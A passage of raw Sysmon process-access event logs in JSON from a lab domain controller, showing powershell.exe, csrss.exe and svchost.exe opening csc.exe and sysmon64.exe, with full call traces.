11:56:35.963","SourceProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","SourceProcessId":"2512","SourceThreadId":"5112","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A14E0800}","TargetProcessId":"2692","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffffc200(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffffc200(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c51487c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A14E0800}\r\nTargetProcessId: 2692\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A14E0800}","TargetProcessId":"2692","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 